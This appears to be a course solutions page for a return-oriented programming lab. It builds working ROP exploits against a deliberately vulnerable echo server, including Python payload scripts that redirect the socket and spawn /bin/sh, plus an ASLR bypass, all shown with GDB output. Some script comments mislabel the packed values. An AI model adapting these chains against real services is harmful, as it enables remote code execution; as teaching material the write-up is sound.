Table of Contents

0x0A. Return Oriented Programming (Solutions)

Solutions archive

Gadget Tut

Check the payload.py script in the gadget-tutorial/ subfolder in the solutions archive.

Echo Service

The log files created with script are a log file for the server side and one for the client side; the roles are changed when doing ASLR-testing. You may use cat over the script file to print it.

By going through the echo_service.c file we see that in the echo_service() function we use read() for reading 4096 bytes when we only have 1024 available for a the buf buffer. We can use this to create a return-oriented programming (ROP) attack.

Let's first consider our steps.

  1. We will create a payload that overflows the buf buffer and rewrites the return address of the echo_service() function triggering the attack (the ROP chain).
  2. We will update the payload issue the following calls through the ROP chain, as also indicated in the task:
    1. dup2(sockfd, 1);
    2. dup2(sockfd, 0);
    3. system("/bin/sh");
  3. We will start the server and then we will use netcat to send the payload to the server to trigger the attack.

We aim for the stack to be the one below:

0x00000000
...
start address of buf
...
+--------------------------------+
|   dup2() address               |   <--- return address for echo_service()
+--------------------------------+
|   pop_pop_ret gadget address   |
+--------------------------------+
|   4                            |
+--------------------------------+
|   1                            |
+--------------------------------+
|   dup2() address               |
+--------------------------------+
|   pop_pop_ret gadget address   |
+--------------------------------+
|   4                            |
+--------------------------------+
|   0                            |
+--------------------------------+
|   system() address             |
+--------------------------------+
|   junk                         |
+--------------------------------+
|   "/bin/sh" address            |
+--------------------------------+

...
0xFFFFFFFF

In the above figure we will overflow the buf buffer and overwrite the return address for the echo_service() function with the first part of the ROP chain: the address of the dup2() function. Once the dup2() function returns it will call a ROP gadget that pops two values: the dup2() function arguments (4 is sockfd and 0 and 1 are standard input and standard output file descriptors respectively). Then another dup2() function gets called and then system("/bin/sh"). Because this needs the address of the "/bin/sh" string it could only happen on non-ASLR enabled system; but we'll use some tricks to trick it into running on an ASLR-enabled system as well.

We can use strace to check that 4 is indeed the socket file descriptor:

$ strace -f -e accept,read ./echo_service 7000
[ Process PID=20460 runs in 32 bit mode. ]
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
accept(3, {sa_family=AF_INET, sin_port=htons(39480), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
Process 20617 attached
[pid 20460] accept(3,  <unfinished ...>
[pid 20617] read(4, "anaaremere\n", 4096) = 11
[pid 20617] +++ exited with 0 +++
<... accept resumed> 0xbffff348, [16])  = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20617, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
accept(3, 

This makes sense since 0, 1 and 2 are the standard file descriptors and 3 is used as the listening socket file descriptor. Then 4 is the connect socket returned by the accept() system call (the return value is 4) and then used by the read() system call (the first argument is 4).

On the client side, we had issued a netcat command to connect to the server and deliver the "anaaremere" string:

$ nc localhost 7000
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
anaaremere
Got it! Here it is:
anaaremere

We'll first get all the required data for creating the payload, then we'll create and run the non-ASLR enabled attack and then we'll use the ASLR-enabled attacks.

Getting Required Data

Let's first use GDB to gather all the required data for creating the payload. We need:

The make_it_easy() function in our source code is used to help us get access to dup2() and system() addresses through PLT.

We'll use pattc and patto in GDB PEDA to find out the offset of the return address against the start of the buf buffer:

$ gdb -q ./echo_service 
Reading symbols from ./echo_service...(no debugging symbols found)...done.
gdb-peda$ start 7000
[...]
gdb-peda$ pattc 1500
'AAA%AAsAABAA$AAnAACAA...
gdb-peda$ c
Continuing.
[New process 26535]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 26535]
[----------------------------------registers-----------------------------------]
EAX: 0xffffffff 
EBX: 0xb7f9f000 --> 0x1a5da8 
ECX: 0xffffffbc 
EDX: 0x5dd 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41256e41 ('An%A')
ESP: 0xbffff240 ("BAn$AnnAnCAn...
[...]
Stopped reason: SIGSEGV
0x6e41736e in ?? ()
gdb-peda$ patto nsAn
nsAn found at offset: 1040

The pattern generated through GDB on the server side is fed to the server through the use of the netcat command

$ nc localhost 7000
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
AAA%AAsAABAA$AAnAACAA-...

The offset is 1040 bytes.

We'll use the info address command in GDB to find out the addresses of dup2() and system() inside PLT:

gdb-peda$ info address dup2@plt
Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging.
gdb-peda$ info address system@plt
Symbol "system@plt" is at 0x8048670 in a file compiled without debugging.

The addresses are:

We'll use searchmem to find out the address of the "/bin/sh" string inside the standard C library mappings (this only works on non-ASLR enabled systems):

gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f561a9 ("/bin/sh")

The address for "/bin/sh" is 0xb7f561a9.

We'll use dumprop to determine the address of a ROP gadget using two pop instructions followed by a ret instruction:

gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: echo_service-rop.txt ...
0x8048906: ret
0x804877f: repz ret
0x80487ae: ret 0xeac1
0x8048799: leave; ret
0x8048b6f: pop ebp; ret
0x8048904: dec ecx; ret
0x8048e1c: inc ecx; ret
0x80485c9: pop ebx; ret
0x8048b7f: nop; repz ret
0x8048798: ror cl,1; ret
0x804877e: add dh,bl; ret
0x80487d5: ror cl,cl; ret
0x80487fb: leave; repz ret
0x8048761: sbb al,0x24; ret
0x8048e1b: adc al,0x41; ret
0x8048760: mov ebx,[esp]; ret
0x8048b7e: nop; nop; repz ret
0x8048797: call eax; leave; ret
0x80487d4: call edx; leave; ret
0x80487fa: add ecx,ecx; repz ret
0x8048b6e: pop edi; pop ebp; ret
0x804877d: ja 0x8048781; repz ret
0x80487b6: jne 0x80487ba; repz ret
0x8048796: or bh,bh; ror cl,1; ret
0x804875f: nop; mov ebx,[esp]; ret
--More--(25/147)q

The address of the gadget is 0x8048b6e: pop edi; pop ebp; ret.

We'll use these data to construct the payload.

Creating the ROP Payload (non-ASLR)

Based on the above information we create the following Python file for printing out the payload:

payload-no-aslr.py
#!/usr/bin/env python
 
import sys
import struct
 
# 0x8048b6e: pop edi; pop ebp; ret
pop_pop_ret = 0x8048b6e
# libc : 0xb7f561a9 ("/bin/sh")
bin_sh = 0xb7f561a9
# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging.
system_plt = 0x8048670
# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging.
dup2_plt = 0x80485f0
 
# Offset from buffer start to function return address is 1040.
payload = 1040*"A"
 
# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1):
#  * address of dup2()
#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
#  * dup2 arguments: sockfd (4) and standard output (1)
payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0)
 
# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0):
#  * address of dup2()
#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
#  * dup2 arguments: sockfd (4) and standard input (0)
payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1)
 
# Add ROP for system("/bin/sh")
#  * address of dup2()
#  * return address for system(): we don't care, just use zero
#  * system argument: address of "/bin/sh"
payload += struct.pack("<III", system_plt, 0, bin_sh)
 
sys.stdout.write(payload)

The payload creates a padding of 1040 characters and then creates the ROP chain as discussed above:

$ python payload-no-aslr.py | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
[...]
00000410: f085 0408 6e8b 0408 0400 0000 0000 0000  ....n...........
00000420: f085 0408 6e8b 0408 0400 0000 0100 0000  ....n...........
00000430: 7086 0408 0000 0000 a961 f5b7            p........a..

Testing the non-ASLR Payload

We run the payload on a non-ASLR system. We have deactivated ASLR and we check that:

$ ldd echo_service
	linux-gate.so.1 (0xb7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
	/lib/ld-linux.so.2 (0x41000000)
$ ldd echo_service
	linux-gate.so.1 (0xb7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
	/lib/ld-linux.so.2 (0x41000000)
$ ldd echo_service
	linux-gate.so.1 (0xb7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
	/lib/ld-linux.so.2 (0x41000000)

Let's first test the payload by running the server under GDB. We'll break after the read() overflow and at the end of the echo_service() function to do checks while running the payload and netcat on another console:

$ gdb -q ./echo_service
Reading symbols from ./echo_service...(no debugging symbols found)...done.
gdb-peda$ start 7001
[...]
gdb-peda$ set follow-fork-mode child

gdb-peda$ b echo_service
Breakpoint 2 at 0x8048857

gdb-peda$ c
[...]
Breakpoint 2, 0x08048857 in echo_service ()
gdb-peda$ pdis
Dump of assembler code for function echo_service:
   0x0804884e <+0>:	push   ebp
   0x0804884f <+1>:	mov    ebp,esp
   0x08048851 <+3>:	sub    esp,0x428
=> 0x08048857 <+9>:	mov    DWORD PTR [esp+0x4],0x8048ba0
   0x0804885f <+17>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048862 <+20>:	mov    DWORD PTR [esp],eax
   0x08048865 <+23>:	call   0x8048630 <dprintf@plt>
   0x0804886a <+28>:	mov    DWORD PTR [esp+0x4],0x8048bd0
   0x08048872 <+36>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048875 <+39>:	mov    DWORD PTR [esp],eax
   0x08048878 <+42>:	call   0x8048630 <dprintf@plt>
   0x0804887d <+47>:	mov    DWORD PTR [esp+0x4],0x8048ba0
   0x08048885 <+55>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048888 <+58>:	mov    DWORD PTR [esp],eax
   0x0804888b <+61>:	call   0x8048630 <dprintf@plt>
   0x08048890 <+66>:	mov    DWORD PTR [esp+0x4],0x8048bf0
   0x08048898 <+74>:	mov    eax,DWORD PTR [ebp+0x8]
   0x0804889b <+77>:	mov    DWORD PTR [esp],eax
   0x0804889e <+80>:	call   0x8048630 <dprintf@plt>
   0x080488a3 <+85>:	mov    DWORD PTR [esp+0x4],0x8048c30
   0x080488ab <+93>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080488ae <+96>:	mov    DWORD PTR [esp],eax
   0x080488b1 <+99>:	call   0x8048630 <dprintf@plt>
   0x080488b6 <+104>:	mov    DWORD PTR [esp+0x8],0x1000
   0x080488be <+112>:	lea    eax,[ebp-0x40c]
   0x080488c4 <+118>:	mov    DWORD PTR [esp+0x4],eax
   0x080488c8 <+122>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080488cb <+125>:	mov    DWORD PTR [esp],eax
   0x080488ce <+128>:	call   0x8048600 <read@plt>
   0x080488d3 <+133>:	mov    DWORD PTR [ebp-0xc],eax
   0x080488d6 <+136>:	mov    DWORD PTR [esp+0x4],0x8048c7f
   0x080488de <+144>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080488e1 <+147>:	mov    DWORD PTR [esp],eax
   0x080488e4 <+150>:	call   0x8048630 <dprintf@plt>
   0x080488e9 <+155>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080488ec <+158>:	mov    DWORD PTR [esp+0x8],eax
   0x080488f0 <+162>:	lea    eax,[ebp-0x40c]
   0x080488f6 <+168>:	mov    DWORD PTR [esp+0x4],eax
   0x080488fa <+172>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080488fd <+175>:	mov    DWORD PTR [esp],eax
   0x08048900 <+178>:	call   0x80486b0 <write@plt>
   0x08048905 <+183>:	leave  
   0x08048906 <+184>:	ret    
End of assembler dump.
gdb-peda$ b *0x080488d3
Breakpoint 3 at 0x80488d3
gdb-peda$ b *0x08048906
Breakpoint 4 at 0x8048906
gdb-peda$ c
[...]
Breakpoint 3, 0x080488d3 in echo_service ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffffff 
EBX: 0xb7f9f000 --> 0x1a5da8 
ECX: 0xffffffbc 
EDX: 0x43c 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff23c --> 0x80485f0 (<dup2@plt>:	jmp    DWORD PTR ds:0x804a010)
EIP: 0x8048906 (<echo_service+184>:	ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80488fd <echo_service+175>:	mov    DWORD PTR [esp],eax
   0x8048900 <echo_service+178>:	call   0x80486b0 <write@plt>
   0x8048905 <echo_service+183>:	leave  
=> 0x8048906 <echo_service+184>:	ret    
   0x8048907 <doprocessing>:	push   ebp
   0x8048908 <doprocessing+1>:	mov    ebp,esp
   0x804890a <doprocessing+3>:	sub    esp,0x18
   0x804890d <doprocessing+6>:	mov    eax,DWORD PTR [ebp+0x8]
[------------------------------------stack-------------------------------------]
0000| 0xbffff23c --> 0x80485f0 (<dup2@plt>:	jmp    DWORD PTR ds:0x804a010)
0004| 0xbffff240 --> 0x8048b6e (<__libc_csu_init+94>:	pop    edi)
0008| 0xbffff244 --> 0x4 
0012| 0xbffff248 --> 0x0 
0016| 0xbffff24c --> 0x80485f0 (<dup2@plt>:	jmp    DWORD PTR ds:0x804a010)
0020| 0xbffff250 --> 0x8048b6e (<__libc_csu_init+94>:	pop    edi)
0024| 0xbffff254 --> 0x4 
0028| 0xbffff258 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 4, 0x08048906 in echo_service ()

gdb-peda$ context stack 11
[------------------------------------stack-------------------------------------]
0000| 0xbffff23c --> 0x80485f0 (<dup2@plt>:	jmp    DWORD PTR ds:0x804a010)
0004| 0xbffff240 --> 0x8048b6e (<__libc_csu_init+94>:	pop    edi)
0008| 0xbffff244 --> 0x4 
0012| 0xbffff248 --> 0x0 
0016| 0xbffff24c --> 0x80485f0 (<dup2@plt>:	jmp    DWORD PTR ds:0x804a010)
0020| 0xbffff250 --> 0x8048b6e (<__libc_csu_init+94>:	pop    edi)
0024| 0xbffff254 --> 0x4 
0028| 0xbffff258 --> 0x1 
0032| 0xbffff25c --> 0x8048670 (<system@plt>:	jmp    DWORD PTR ds:0x804a030)
0036| 0xbffff260 --> 0x0 
0040| 0xbffff264 --> 0xb7f561a9 ("/bin/sh")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
gdb-peda$ c
Continuing.
[New process 17858]
process 17858 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 3.
Cannot access memory at address 0x80488d3
Cannot insert breakpoint 4.
Cannot access memory at address 0x8048906

On the client side we run netcat:

$ (python payload-no-aslr.py; cat) | nc localhost 7001
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
[...]

We can see that the stack right before returning from the echo_service() function was similar to the stack figure above. All is OK.

Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment and ASLR is disabled.

--- on the server side ---
$ ./echo_service 7002

--- on the client side ---
$ (python payload-no-aslr.py; cat) | nc localhost 7002
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
ls
echo_service
echo_service-rop.txt
echo_service.c
payload-aslr-alt.py
payload-aslr.py
payload-no-aslr.py
peda-session-echo_service.txt
ps
  PID TTY          TIME CMD
14269 pts/3    00:00:00 echo_service
16413 pts/3    00:00:00 echo_service <defunct>
18249 pts/3    00:00:00 bash
21341 pts/3    00:00:00 echo_service
21393 pts/3    00:00:00 echo_service
21394 pts/3    00:00:00 sh
21395 pts/3    00:00:00 sh
21470 pts/3    00:00:00 ps
26088 pts/3    00:00:00 echo_service
26535 pts/3    00:00:00 echo_service <defunct>

Excellent! We have created a shell by calling system("/bin/sh") through ROP.

Let's try the same thing on an ASLR-enabled system:

--- server side ---

$ ldd echo_service
	linux-gate.so.1 (0xf7772000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf758e000)
	/lib/ld-linux.so.2 (0xf7775000)
$ ldd echo_service
	linux-gate.so.1 (0xf778a000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75a6000)
	/lib/ld-linux.so.2 (0xf778d000)
$ ./echo_service 7004

--- client side ---

$ (python payload-no-aslr.py; cat) | nc localhost 7004
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
ls
$ dmesg | tail -1
[425842.224264] echo_service[24545]: segfault at 0 ip           (null) sp 00000000ffece254 error 14 in echo_service[8048000+1000]

It doesn't work due to the "/bin/sh string being placed differently into memory. We need something different. We need a way to store a "/bin/sh" string in a place that isn't influenced by ASLR. We show that in the next section.

Idea for Bypassing ASLR

The random placement of the "/bin/sh" string due to ASLR is problematic. What we would aim to do is write the string somewhere in memory at a fixed address.

Our idea is to use a read() call on the socket to read the "/bin/sh" string into a fixed address area. We will then use that address for the system() call. We can call read() as part of the ROP chain. We aim for the stack to be the one below:

0x00000000
...
start address of buf
...
+--------------------------------+
|   dup2() address               |   <--- return address for echo_service()
+--------------------------------+
|   pop_pop_ret gadget address   |
+--------------------------------+
|   4                            |
+--------------------------------+
|   1                            |
+--------------------------------+
|   dup2() address               |
+--------------------------------+
|   pop_pop_ret gadget address   |
+--------------------------------+
|   4                            |
+--------------------------------+
|   0                            |
+--------------------------------+
|   read() address               |
+--------------------------------+
|   pop_pop_pop_ret gadget addr  |
+--------------------------------+
|   4                            |
+--------------------------------+
|   fixed writable address       |
+--------------------------------+
|   8                            |
+--------------------------------+
|   system() address             |
+--------------------------------+
|   junk                         |
+--------------------------------+
|   fixed writable address       |
+--------------------------------+

...
0xFFFFFFFF

In the above figure we add the read() call using three parameters:

  1. the socket file descriptor (4)
  2. the fixed writable address where the "/bin/sh" string we provide will be stored
  3. the length of the message we will deliver ("/bin/sh\0": we place a NUL-byte at the end)

We need an additional gadget that pops 3 times and the uses a ret instruction in order to pop the tree parameters of read().

We need the following in order to create the payload that gets us to the above stack configuration:

  1. the address of the read() address in PLT
  2. the address of a ROP gadget that uses 3 pop instructions followed by a ret instruction
  3. the fixed writable address we will use to store the "/bin/sh\0" string that will be fed through the socket

For the first two addresses we use GDB:

$ gdb -q ./echo_service 
Reading symbols from ./echo_service...(no debugging symbols found)...done.
gdb-peda$ start 7006
[...]
gdb-peda$ info address read@plt
Symbol "read@plt" is at 0x8048600 in a file compiled without debugging.
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: echo_service-rop.txt ...
0x8048906: ret
0x804877f: repz ret
0x80487ae: ret 0xeac1
0x8048799: leave; ret
0x8048b6f: pop ebp; ret
0x8048904: dec ecx; ret
0x8048e1c: inc ecx; ret
0x80485c9: pop ebx; ret
0x8048b7f: nop; repz ret
0x8048798: ror cl,1; ret
0x804877e: add dh,bl; ret
0x80487d5: ror cl,cl; ret
0x80487fb: leave; repz ret
0x8048761: sbb al,0x24; ret
0x8048e1b: adc al,0x41; ret
0x8048760: mov ebx,[esp]; ret
0x8048b7e: nop; nop; repz ret
0x8048797: call eax; leave; ret
0x80487d4: call edx; leave; ret
0x80487fa: add ecx,ecx; repz ret
0x8048b6e: pop edi; pop ebp; ret
0x804877d: ja 0x8048781; repz ret
0x80487b6: jne 0x80487ba; repz ret
0x8048796: or bh,bh; ror cl,1; ret
0x804875f: nop; mov ebx,[esp]; ret
--More--(25/147)
0x8048b7d: nop; nop; nop; repz ret
0x80487d3: or bh,bh; ror cl,cl; ret
0x80485c6: add esp,0x8; pop ebx; ret
0x8048e1a: push cs; adc al,0x41; ret
0x8048849: hlt; call eax; leave; ret
0x80485c7: les ecx,[eax]; pop ebx; ret
0x80487f9: or [ecx],al; leave; repz ret
0x80487b5: clc; jne 0x80487ba; repz ret
0x8048b7c: nop; nop; nop; nop; repz ret
0x8048793: push 0xff0804a0; ror cl,1; ret
0x804875e: xchg ax,ax; mov ebx,[esp]; ret
0x8048b6d: pop esi; pop edi; pop ebp; ret
0x80487f7: mov al,ds:0xc9010804; repz ret
0x804877c: push es; ja 0x8048781; repz ret
0x8048779: or [ebx+0x27706f8],al; repz ret
0x80487d0: push 0xff0804a0; ror cl,cl; ret
0x80487f6: push 0x10804a0; leave; repz ret
0x8048795: add al,0x8; call eax; leave; ret
0x80487d1: mov al,ds:0xd2ff0804; leave; ret
0x8048794: mov al,ds:0xd0ff0804; leave; ret
0x80487d2: add al,0x8; call edx; leave; ret
0x80487f8: add al,0x8; add ecx,ecx; repz ret
0x8048b7b: nop; nop; nop; nop; nop; repz ret
0x8048848: inc ebp; hlt; call eax; leave; ret
0x80487b4: sar eax,1; jne 0x80487ba; repz ret
--More--(50/147)q
gdb-peda$ 

The address of read() in PLT is 0x8048600 The address of the ROP gadget is 0x8048b6d: pop esi; pop edi; pop ebp; ret.

For the fixed writable address we inspect the executable using readelf:

$ readelf -S echo_service
There are 30 section headers, starting at offset 0x11bc:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048174 000174 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048188 000188 000020 00   A  0   0  4
  [ 3] .hash             HASH            080481a8 0001a8 0000a8 04   A  5   0  4
  [ 4] .gnu.hash         GNU_HASH        08048250 000250 00002c 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          0804827c 00027c 000170 10   A  6   1  4
  [ 6] .dynstr           STRTAB          080483ec 0003ec 0000bb 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          080484a8 0004a8 00002e 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         080484d8 0004d8 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             080484f8 0004f8 000008 08   A  5   0  4
  [10] .rel.plt          REL             08048500 000500 0000a8 08   A  5  12  4
  [11] .init             PROGBITS        080485a8 0005a8 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080485d0 0005d0 000160 04  AX  0   0 16
  [13] .text             PROGBITS        08048730 000730 000454 00  AX  0   0 16
  [14] .fini             PROGBITS        08048b84 000b84 000014 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048b98 000b98 00015c 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        08048cf4 000cf4 000044 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048d38 000d38 00010c 00   A  0   0  4
  [18] .init_array       INIT_ARRAY      08049f00 000f00 000004 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      08049f04 000f04 000004 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049f08 000f08 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f0c 000f0c 0000f0 08  WA  6   0  4
  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 000060 04  WA  0   0  4
  [24] .data             PROGBITS        0804a060 001060 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a068 001068 000004 00  WA  0   0  4
  [26] .comment          PROGBITS        00000000 001068 000060 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 0010c8 0000f3 00      0   0  1
  [28] .symtab           SYMTAB          00000000 00166c 0004c0 10     29  33  4
  [29] .strtab           STRTAB          00000000 001b2c 0002eb 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

We see that we have access to the .data section with a length of 8 bytes, exactly what we need. We'll use that address (0x0804a060) as a fixed writable address where to store the "/bin/sh\0" string that will be fed through the socket.

This is all the information we need to construct the payload.

Creating the ROP Payload (ASLR)

Based on the above information we create the following Python file for printing out the payload:

payload-aslr.py
#!/usr/bin/env python
 
import sys
import struct
 
# 0x8048b6e: pop edi; pop ebp; ret
pop_pop_ret = 0x8048b6e
# 0x8048b6d: pop esi; pop edi; pop ebp; ret
pop_pop_pop_ret = 0x8048b6d
# libc : 0xb7f561a9 ("/bin/sh")
bin_sh = 0xb7f561a9
# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging.
system_plt = 0x8048670
# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging.
dup2_plt = 0x80485f0
# Symbol "read@plt" is at 0x8048600 in a file compiled without debugging.
read_plt = 0x8048600
#   [24] .data             PROGBITS        0804a060
data = 0x0804a060
 
# Offset from buffer start to function return address is 1040.
payload = 1040*"A"
 
# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1):
#  * address of dup2()
#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
#  * dup2 arguments: sockfd (4) and standard output (1)
payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0)
 
# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0):
#  * address of dup2()
#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
#  * dup2 arguments: sockfd (4) and standard input (0)
payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1)
 
# Add ROP for read(sockfd, data, len), i.e. read(4, 0x0804a060, 8)
#  * address of read()
#  * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret)
#  * read arguments: 4, data address, 8 bytes for /bin/sh\n
payload += struct.pack("<IIIII", read_plt, pop_pop_pop_ret, 4, data, 8)
 
# Add ROP for system("/bin/sh")
#  * address of dup2()
#  * return address for system(): we don't care, just use zero
#  * system argument: address of "/bin/sh"
payload += struct.pack("<III", system_plt, 0, data)
 
sys.stdout.write(payload)

The payload creates a padding of 1040 characters and then creates the ROP chain as discussed above:

$ python payload-aslr.py | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
[...]
00000410: f085 0408 6e8b 0408 0400 0000 0000 0000  ....n...........
00000420: f085 0408 6e8b 0408 0400 0000 0100 0000  ....n...........
00000430: 0086 0408 6d8b 0408 0400 0000 60a0 0408  ....m.......`...
00000440: 0800 0000 7086 0408 0000 0000 60a0 0408  ....p.......`..

Testing the ASLR Payload

We run the payload on an ASLR-enabled system:

$ ldd echo_service
	linux-gate.so.1 (0xf7733000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf754f000)
	/lib/ld-linux.so.2 (0xf7736000)
$ ldd echo_service
	linux-gate.so.1 (0xf775b000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7577000)
	/lib/ld-linux.so.2 (0xf775e000)

Let's first test the payload by running the server under GDB. We'll break after the read() overflow and at the end of the echo_service() function to do checks while running the payload and netcat on another console:

--- server side ---

$ gdb -q ./echo_service 
Reading symbols from ./echo_service...(no debugging symbols found)...done.
gdb-peda$ start 7008
[...]

gdb-peda$ b echo_service
Breakpoint 2 at 0x8048857

gdb-peda$ c
[...]
Breakpoint 2, 0x08048857 in echo_service ()

gdb-peda$ pdis
Dump of assembler code for function echo_service:
   0x0804884e <+0>:	push   ebp
   0x0804884f <+1>:	mov    ebp,esp
   0x08048851 <+3>:	sub    esp,0x428
=> 0x08048857 <+9>:	mov    DWORD PTR [esp+0x4],0x8048ba0
   0x0804885f <+17>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048862 <+20>:	mov    DWORD PTR [esp],eax
   0x08048865 <+23>:	call   0x8048630 <dprintf@plt>
   0x0804886a <+28>:	mov    DWORD PTR [esp+0x4],0x8048bd0
   0x08048872 <+36>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048875 <+39>:	mov    DWORD PTR [esp],eax
   0x08048878 <+42>:	call   0x8048630 <dprintf@plt>
   0x0804887d <+47>:	mov    DWORD PTR [esp+0x4],0x8048ba0
   0x08048885 <+55>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048888 <+58>:	mov    DWORD PTR [esp],eax
   0x0804888b <+61>:	call   0x8048630 <dprintf@plt>
   0x08048890 <+66>:	mov    DWORD PTR [esp+0x4],0x8048bf0
   0x08048898 <+74>:	mov    eax,DWORD PTR [ebp+0x8]
   0x0804889b <+77>:	mov    DWORD PTR [esp],eax
   0x0804889e <+80>:	call   0x8048630 <dprintf@plt>
   0x080488a3 <+85>:	mov    DWORD PTR [esp+0x4],0x8048c30
   0x080488ab <+93>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080488ae <+96>:	mov    DWORD PTR [esp],eax
   0x080488b1 <+99>:	call   0x8048630 <dprintf@plt>
   0x080488b6 <+104>:	mov    DWORD PTR [esp+0x8],0x1000
   0x080488be <+112>:	lea    eax,[ebp-0x40c]
   0x080488c4 <+118>:	mov    DWORD PTR [esp+0x4],eax
   0x080488c8 <+122>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080488cb <+125>:	mov    DWORD PTR [esp],eax
   0x080488ce <+128>:	call   0x8048600 <read@plt>
   0x080488d3 <+133>:	mov    DWORD PTR [ebp-0xc],eax
   0x080488d6 <+136>:	mov    DWORD PTR [esp+0x4],0x8048c7f
   0x080488de <+144>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080488e1 <+147>:	mov    DWORD PTR [esp],eax
   0x080488e4 <+150>:	call   0x8048630 <dprintf@plt>
   0x080488e9 <+155>:	mov    eax,DWORD PTR [ebp-0xc]
